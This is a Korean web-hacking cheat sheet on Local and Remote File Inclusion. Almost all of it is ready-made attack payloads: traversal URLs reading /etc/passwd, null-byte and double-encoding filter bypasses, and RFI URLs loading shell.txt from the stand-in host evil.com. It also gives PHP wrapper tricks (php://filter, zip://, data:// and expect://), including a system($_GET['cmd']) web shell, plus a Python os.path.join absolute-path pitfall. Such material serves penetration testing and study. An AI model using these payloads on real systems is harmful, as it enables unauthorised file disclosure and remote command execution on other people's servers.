LFI&RFI
💣

LFI&RFI

Description
Local File Inclusion & Remote File Inclusion
category
WebHacking
Tag
WEB Hacking
Date
Mar 15, 2024 05:27 AM

LFI, RFI란?

Local File Inclusion의 약자로 언어, 웹 서버, 프레임워크 등 많은 곳에서 발생하는 취약점이다.
LFI는 간단히 말해 로컬 파일을 읽는 공격이다.
RFI는 반대로 외부에 있는 파일을 읽는 공격이다.
 
대부분 whitelist.txt를 가지고 fuff 사용하는 것 같다.
ffuf
ffufUpdated May 7, 2024

Basic LFI

null byte, double encoding 등을 사용해서 필터링을 우회할 수 있다.
http://example.com/index.php?page=etc/passwd http://example.com/index.php?page=etc/passwd%00 http://example.com/index.php?page=../../etc/passwd http://example.com/index.php?page=%252e%252e%252f http://example.com/index.php?page=....//....//etc/passwd

Basic RFI

null byte, double encoding 등을 사용해서 필터링을 우회할 수 있다.
http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt%00 http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
 

PHP

Wrapper

base64와 rot13으로 인코딩하여 파일을 읽을 수 있다.
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Wrapper Zip

zip:// 을 사용하면 zip파일을 해제하여 php파일을 실행할 수 있다.
echo "</pre><?php system($_GET['cmd']); ?></pre>" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper Data

data:// 를 사용하여 php코드를 실행시킬 수 있다.
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'

Wrapper Expect

expect:// 를 shell code를 실행시킬 수 있다.
http://example.com/index.php?page=php:expect://id http://example.com/index.php?page=php:expect://ls
 

Python

os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", "/etc/passwd")
위와 같은 file_name 부분에 절대 경로를 입력하면 앞에 있던 상대 경로는 사라진다.
따라서 public 은 무시되고 /etc/passwd 로 반환한다.